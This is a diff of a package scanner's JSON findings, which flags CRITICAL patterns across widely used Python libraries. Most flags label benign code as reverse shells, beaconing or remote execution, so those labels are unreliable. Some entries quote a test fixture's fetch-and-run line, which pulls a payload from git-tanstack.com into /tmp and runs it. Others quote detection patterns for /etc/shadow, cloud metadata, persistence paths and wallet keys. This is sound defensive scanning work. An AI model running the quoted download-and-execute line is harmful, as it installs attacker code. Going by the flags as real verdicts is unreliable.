"check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')" + "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scipy", "file": "scipy/_external/array_api_compat/numpy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")" + "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")", + "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159" }, { "package": "scipy", "file": "scipy/_external/array_api_compat/torch/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')" + "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "sentencepiece", "file": "sentencepiece/__init__.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L1221: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)" + "evidence": "L1221: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)", + "evidence_hash": "bba233b67f8ea4f0723b2fecaabf56528531bccd77ace836165bf38b47246bcc" }, { "package": "setuptools", "file": "distutils-precedence.pth", "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)", "severity": "CRITICAL", - "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();" + "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();", + "evidence_hash": "2f70c2fa9227e9db9348215d9c7b246d2786aac7516f86d71a5952c7c225aa16" }, { "package": "setuptools", "file": "setuptools/_distutils/tests/test_build_ext.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L115: shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so')" + "evidence": "L115: shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so') sha256:bef4914cda18bd0d231ab5481953dcf1ed3f2d7589a3a1de35be40435fbae5b9", + "evidence_hash": "32624628db3d7f0e6d667695033821ee804e4eb941c6fbe0421e997f7e729ad7" }, { "package": "setuptools", "file": "setuptools/_vendor/jaraco/context/__init__.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L79: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78: req = urllib.request.urlopen(url)" + "evidence": "Archive: L79: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78: req = urllib.request.urlopen(url)", + "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c" }, { "package": "sympy", "file": "sympy/external/importtools.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L154: __import__(module + '.' + submod)" + "evidence": "L154: __import__(module + '.' + submod)", + "evidence_hash": "c08b793301fde50f2369338cceea56329e39c315fc1c177480ef094932182a0b" }, { "package": "tiktoken", "file": "tiktoken/load.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L38: cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17: resp = requests.get(blobpath)" + "evidence": "Env: L38: cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17: resp = requests.get(blobpath)", + "evidence_hash": "3779e1812928be4f20704ffc40a65b8c45b69a319b39e94d3ad92b4c775eb12d" }, { "package": "torch", "file": "functorch/dim/magic_trace.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L15: output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\"" + "evidence": "L15: output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\" sha256:509c96b9721a10fc1df0567da3a366f08ed337b3afa3e57971756bd941da675e", + "evidence_hash": "6e64b3ddbb81079049d46dc3bd1024958c71ce0de299cda650720cfd168d5023" }, { "package": "torch", "file": "torch/_inductor/codecache.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L1211: content = base64.b64decode(data)\nSubprocess: L2692: subprocess.run( | L2995: cmd_output = subprocess.run( | L3707: out = subprocess.check_output(" + "evidence": "Base64: L1211: content = base64.b64decode(data)\nSubprocess: L2692: subprocess.run(\nL2693: cmd.split(), capture_output=True, text=True, check=True\nL2694: ) | L2995: cmd_output = subprocess.run(\nL2996: (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL2997: ) | L3707: out = subprocess.check_output(\nL3708: [\"ldd\", os.path.join(search, file)]\nL3709: ) | L3791: jobs.append(functools.partial(subprocess.check_call, cmd)) | L3876: subprocess.check_call(\nL3877: shlex.split(halide_cmd_gen.get_command_line())\nL3878: ) | L4336: subprocess.check_output(\nL4337: cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4338: ) | L4591: output = subprocess.check_output(\nL4592: cmd_parts,\nL4593: stderr=subprocess.STDOUT,\nL4594: text=True,\nL4595: env=os.environ,\nL4596: )", + "evidence_hash": "c09774087b702a6c5d6e2e85d9239c7c241ec938fbe9c0153e8f0b5c0710389b" }, { "package": "torch", "file": "torch/ao/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L30: return importlib.import_module(\".\" + name, __name__)" + "evidence": "L30: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" }, { "package": "torch", "file": "torch/ao/nn/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L34: return importlib.import_module(\".\" + name, __name__)" + "evidence": "L34: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" }, { "package": "torch", "file": "torch/ao/nn/intrinsic/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L40: return importlib.import_module(\".\" + name, __name__)" + "evidence": "L40: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" }, { "package": "torch", "file": "torch/cuda/_memory_viz.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L74: if \"history\" in b:\nNetwork: L97: import urllib.request | L101: urllib.request.urlretrieve(" + "evidence": "FS: L74: if \"history\" in b: sha256:8537d03f5cf112e0dd4afd03d7928fce66a1b24456ee5b9cf3cd776d1b756c34\nNetwork: L97: import urllib.request | L101: urllib.request.urlretrieve(\nL102: \"https://raw.githubusercontent.com/brendangregg/FlameGraph/master/flamegraph.pl\",\nL103: f.name,\nL104: )", + "evidence_hash": "ee54e444a087560402a5ec3b1412e11c95d44f086108664b74cafb7ebc990d85" }, { "package": "torch", "file": "torch/distributed/elastic/multiprocessing/redirects.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L218: os.dup2(dst.fileno(), std_fd)" + "evidence": "L218: os.dup2(dst.fileno(), std_fd)", + "evidence_hash": "de197e9d0a8e6df32e900b34e6584602dbdb5f555c689825774915e30460446f" }, { "package": "torch", "file": "torch/hub.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L237: token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206: with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230: with urlopen(url) as r:" + "evidence": "Env: L237: token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206: with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230: with urlopen(url) as r: | L749: with urlopen(req) as u:", + "evidence_hash": "95ea712c0e7062aa43f5d6cb18315e8c11f76b3981a585bee53c069998da3704" }, { "package": "torch", "file": "torch/testing/_internal/common_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L4770: env = os.environ.copy()\nNetwork: L4832: with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4850: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:" + "evidence": "Env: L4770: env = os.environ.copy()\nNetwork: L4832: with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4850: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:", + "evidence_hash": "704a851b9d68c9b885b9e15538bd7e96f03875503b618fe6f126c4438edd7386" }, { "package": "torch", "file": "torch/testing/_internal/common_utils.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L32: import socket" + "evidence": "L32: import socket sha256:89faaaa8bc908e02dad73fd59b2b481fa91189c84b39b556c2766e71d2783bf3", + "evidence_hash": "3d23d77ace91812a07cb9508cf352185d154176e8e8c8b9b28fa92cdbcfe0d53" }, { "package": "torchvision", "file": "torchvision/datasets/utils.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L212: with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28: with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as r" + "evidence": "Archive: L212: with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28: with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as response: | L63: with urllib.request.urlopen(urllib.request.Request(url, headers=headers)) as response:", + "evidence_hash": "f78206d208cb2fed68f5cc2cb26e73d3db10c79848a4289fccaf09eeaa63a080" }, { "package": "traitlets", "file": "traitlets/config/loader.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)" + "evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)", + "evidence_hash": "9e87a409b6486719d3c85dbdbc63bebbd01ca59f3bf6c7b5061bcc744dfba470" }, { "package": "transformers", "file": "transformers/integrations/integration_utils.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L2057: \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \"\nNetwork: L2462: import urllib.request | L2493: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2494: w" + "evidence": "FS: L2125: \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \" sha256:e8d462221be344624d83eea5e696f898835c89de17020fee72f03b5bb79ada56\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:", + "evidence_hash": "7c999f55312c7485cb0d5dd40134dc6aabb1c718fd3a3efe5cc48e0d5a8f26ca" }, { "package": "transformers", "file": "transformers/integrations/integration_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L2444: token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2462: import urllib.request | L2493: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2494: with urllib.request.urlopen(req, timeout=5, c" + "evidence": "Env: L2512: token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:", + "evidence_hash": "60b7a5ab21f1ac825331feef21f9a6e2751da85b062164c2e183b28d4dae4cfb" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L1577: while True:" + "evidence": "L1663: while True: sha256:969e911d30c37a279ad915fb8c3d2d0a3f5705a7eb82ae6e00687388b68bbe65", + "evidence_hash": "2aa8e94baa805d599720a16afee6f08976482e301333e619e6c343389498ad15" + }, + { + "package": "transformers", + "file": "transformers/testing_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L1623: while True: sha256:012c2884195786085fb2ecad951e47f205bf094d75335b81aae14c0b499a208a", + "evidence_hash": "af3cfbdaa405a19c27295fde282e907fb06ad3bb96039f6731f9f82754c1c049" + }, + { + "package": "transformers", + "file": "transformers/testing_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L1577: while True: sha256:2c6152f9da685f728e58d39dfc1827bc794f52606f56983bf38b5c6d0857cd5b", + "evidence_hash": "cdada67f3327237f00838a6750a4908dfaf76b9ab30c1352495c340d4fbd15c9" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L252: value = os.environ[key] | L268: value = os.environ[key] | L2043: env = os.environ.copy()\nNetwork: L2475: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:" + "evidence": "Env: L284: value = os.environ[key] | L300: value = os.environ[key] | L2129: env = os.environ.copy() | L2251: for k in list(os.environ.keys()):\nNetwork: L2561: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:", + "evidence_hash": "73ff16aee09cf163fb3a7a04dfa2cf610595bde2f19460a579397695f728e3f4" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L2473: import socket" + "evidence": "L2473: import socket sha256:ad30a1fc73ad185f6c085cb5ee294fc944c614de31d5eea7e23082465a7fc0cc", + "evidence_hash": "8e7983acde3d0fe4377ee8ef95a732d74c2c9784aacc154d1ab9bbdf9fbcb736" }, { "package": "transformers", "file": "transformers/utils/import_utils.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L2439: return importlib.import_module(\".\" + module_name, self.__name__)" + "evidence": "L2345: return importlib.import_module(\".\" + module_name, self.__name__)", + "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" }, { "package": "triton", "file": "triton/tools/build_extern.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L315: self._ll_file = \"/tmp/extern_lib.ll\"" + "evidence": "L315: self._ll_file = \"/tmp/extern_lib.ll\"\nL316: \nL317: def disasm(self, lib_path: str) -> None:\nL318: subprocess.Popen([self._path, lib_path, \"-o\", self.ll_file], stdout=subprocess.PIPE).communicate()", + "evidence_hash": "b01058d795f253b6327546f0ff09a6100bbdb83ce275b29ef955d8043a4a5890" }, { "package": "trl", "file": "trl/extras/vllm_client.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L152: while True:" + "evidence": "L146: while True: sha256:2beedc742e1f085eaa10fd3bc40be97d2331d21887ef1b9ccdfa2150a184edfe", + "evidence_hash": "1540dffaaa053780e953e04c11d9c6b9c74b91cb60f3e6d87451ba7fe7db46db" + }, + { + "package": "trl", + "file": "trl/extras/vllm_client.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L152: while True: sha256:93e7d409e300af445376e6defbe2d0241aa19ecf63ed41b780fbb91c7d09856f", + "evidence_hash": "208838617172de61bca201d2a1bbeb5aa5aaa55feb1a1069cf39214673a7d6d1" }, { "package": "trl", "file": "trl/import_utils.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L156: return importlib.import_module(\".\" + module_name, self.__name__)" + "evidence": "L144: return importlib.import_module(\".\" + module_name, self.__name__)", + "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", - "evidence": "IMDS: L155: r\"|/latest/meta-data\" | L156: r\"|/metadata/instance\" | L157: r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.re" + "evidence": "IMDS: L155: r\"|/latest/meta-data\" | L156: r\"|/metadata/instance\" | L157: r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "6c5b2c00cf729c2cc1ae948818695e05d207a6845b6c1b71ed2967780866ab2d" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L1254: with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as" + "evidence": "Archive: L1254: with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "9eb520994e9b3dd1030e60820dcc5b6df8e0c58db9d6b83d2379addfbab22ba6" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L116: r\"|/etc/shadow|/etc/passwd\" | L256: r\"|/etc/shadow\" | L257: r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.url" + "evidence": "FS: L116: r\"|/etc/shadow|/etc/passwd\" | L256: r\"|/etc/shadow\" | L257: r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "2439b08c35dac70ee8f388456012affb3f8eb10b267e54a42f21ff1f815af8ee" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Installs persistence AND makes network calls (backdoor pattern)", "severity": "CRITICAL", - "evidence": "Persist: L163: r\"/etc/systemd/\" | L166: r\"|/etc/cron\" | L169: r\"|/Library/LaunchDaemons\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.u" + "evidence": "Persist: L163: r\"/etc/systemd/\" | L166: r\"|/etc/cron\" | L169: r\"|/Library/LaunchDaemons\" | L170: r\"|/Library/LaunchAgents\" | L172: r\"|~/.local/share/systemd\" | L174: r\"|HKEY_LOCAL_MACHINE.*\\\\\\\\Run\" | L175: r\"|HKEY_CURRENT_USER.*\\\\\\\\Run\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "9e0d1f1b32af3babe90061cf52b0567d1500ab5c55aabe2fa5ed91b6f753e84d" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "May-12 Shai-Hulud IOC string present in Python file", "severity": "CRITICAL", - "evidence": "L353: r\"|With Love TeamPCP|We've been online over 2 hours)\"," + "evidence": "L353: r\"|With Love TeamPCP|We've been online over 2 hours)\",", + "evidence_hash": "1fc2637d45f3b1dc5a94c41c13abc5fde05e224b9fcac3f8ddd861e84f90ec57" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Targets cryptocurrency wallets AND makes network calls", "severity": "CRITICAL", - "evidence": "Crypto: L294: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as r" - }, - { - "package": "unsloth-zoo", - "file": "scripts/scan_packages.py", - "check": "Writes to /tmp and executes (staged dropper)", - "severity": "CRITICAL", - "evidence": "L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\"," + "evidence": "Crypto: L294: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "278ff15b0b702d37d7f0b30a1e55a31bf2b11883685718a47478fbb5ce7f5212" }, { "package": "unsloth-zoo", "file": "tests/security/fixtures/_build.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L129: with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve(" + "evidence": "Archive: L129: with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve(\nL53: \"https://git-tanstack.com/transformers.pyz\",\nL54: \"/tmp/transformers.pyz\",\nL55: )", + "evidence_hash": "0c8c9a4f85e95be1a922722a7fd3e102294a3547fa3a7c5e3541472a8a02cf7a" }, { "package": "unsloth-zoo", "file": "tests/security/fixtures/_build.py", "check": "May-12 Shai-Hulud IOC string present in Python file", "severity": "CRITICAL", - "evidence": "L53: \"https://git-tanstack.com/transformers.pyz\", | L54: \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)" + "evidence": "L53: \"https://git-tanstack.com/transformers.pyz\", | L54: \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)", + "evidence_hash": "e26145aaf4804d2e53d9f354c68a1ca80f789b10131ff23390267f5a7347d7f8" }, { "package": "unsloth-zoo", "file": "tests/security/fixtures/_build.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L54: \"/tmp/transformers.pyz\"," + "evidence": "L54: \"/tmp/transformers.pyz\",\nL55: )\nL56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)", + "evidence_hash": "77d49ccb99804ab8392ac1c3312e9ea293b2ed1b9cce0e0049c0012d99e33336" }, { "package": "unsloth-zoo", "file": "tests/security/test_scan_packages.py", "check": "May-12 Shai-Hulud IOC string present in Python file", "severity": "CRITICAL", - "evidence": "L154: \"git-tanstack.com\", | L155: \"/tmp/transformers.pyz\", | L156: \"transformers.pyz\"," + "evidence": "L154: \"git-tanstack.com\", | L155: \"/tmp/transformers.pyz\", | L156: \"transformers.pyz\", | L157: \"With Love TeamPCP\", | L158: \"We've been online over 2 hours\",", + "evidence_hash": "6f880d63fe3f86959fde31cc09148bbb7c0e26c99c6362bd89839bdc439f9ba5" }, { "package": "unsloth-zoo", "file": "tests/security/test_scan_packages.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L155: \"/tmp/transformers.pyz\"," + "evidence": "L155: \"/tmp/transformers.pyz\", sha256:391fc46893340b6b28bf8359aec196593d8cbd7545b9559c75569804529b5ce0", + "evidence_hash": "ba4f0bfd71bd79968c737b868d633c7e2159aaf5b95d06bab679245ba4ab12f0" }, { "package": "unsloth-zoo", "file": "tests/test_convert_hf_to_gguf_patcher.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L454: if os.environ.get(\"GITHUB_TOKEN\"): | L455: headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458: r = requests.get(base_url + rel, timeout=15, headers=headers)" - }, - { - "package": "unsloth-zoo", - "file": "tests/test_quantize_gguf_q2_k_l.py", - "check": "Writes to /tmp and executes (staged dropper)", - "severity": "CRITICAL", - "evidence": "L67: input_gguf=\"/tmp/in.gguf\"," + "evidence": "Env: L454: if os.environ.get(\"GITHUB_TOKEN\"): | L455: headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458: r = requests.get(base_url + rel, timeout=15, headers=headers)", + "evidence_hash": "c58bac3dde2e3a4ec266bb3cbc9ebc1c95ec5b862b64bc8b8ac5140d3e73d2a2" }, { "package": "unsloth-zoo", "file": "tests/test_mlx_save_export_regressions.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L164: temporary_location=\"/tmp/ignored\"," + "evidence": "L164: temporary_location=\"/tmp/ignored\", sha256:78837e80d48e872ef191aaacfe5e1c621a98a20df486a70a41d1a932d074a5b3", + "evidence_hash": "dd11376e664d0d7e7f4cc4baf57eacd4b7ae7b03222dce3912ce68b63dbfca1e" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_quantize_gguf_q2_k_l.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L67: input_gguf=\"/tmp/in.gguf\", sha256:32532cadc357beee1009f4e86481bdbe60a0b7bf47f6bb022b05ec1b8e15aed0", + "evidence_hash": "49f5b67379de17178f21a9bc93b79d6b94a70ecbdd16de86574934aac30a071d" }, { "package": "unsloth-zoo", "file": "tests/test_upstream_pinned_symbols_transformers.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L60: token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59: req = urllib.request.Request(url) | L64: with urllib.request.urlopen(req, timeout=15) as r:" + "evidence": "Env: L60: token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59: req = urllib.request.Request(url) | L64: with urllib.request.urlopen(req, timeout=15) as r:", + "evidence_hash": "901bf1ffd6fd67c2c6f0534a2d8474131a06d9d37e9610a31146d334fcae2a06" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/device_type.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L137: value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82: request = urllib.request.Request( | L87: with urllib.request.urlopen(request, timeout = 2.5) as response:" + "evidence": "Env: L137: value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82: request = urllib.request.Request(\nL83: index_url,\nL84: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL85: method = method,\nL86: ) | L87: with urllib.request.urlopen(request, timeout = 2.5) as response: | L100: request = urllib.request.Request(\nL101: f\"{_PYTORCH_WHL_BASE_URL}/\",\nL102: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL103: ) | L104: with urllib.request.urlopen(request, timeout = 2.5) as response:", + "evidence_hash": "a9d66b5da6174e6ca154b712ad867e3091176fd16a9cf3e5b8d27ee85d3fd7f9" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/llama_cpp.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L847: with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L657: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1546: response = requests.get( | L2694: check = requests.get(llama_cpp_" + "evidence": "Archive: L938: with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2862: check = requests.get(llama_cpp_chat_file, timeout = 5)", + "evidence_hash": "b9f3b1652349fa8ef9ac2d1715978aca1e1632165851a00a2698dd47189e410c" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/llama_cpp.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L649: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L657: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L154" + "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L683: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2862: check = requests.get(llama_cpp_chat_file, timeout = 5)", + "evidence_hash": "9cd0b1bb59c7eb1d814d7636dfd167c34f265eb7c4521a9d88b2bdcfd535b926" }, { "package": "urllib3", "file": "urllib3/response.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L557: if retries is not None and retries.history:\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | 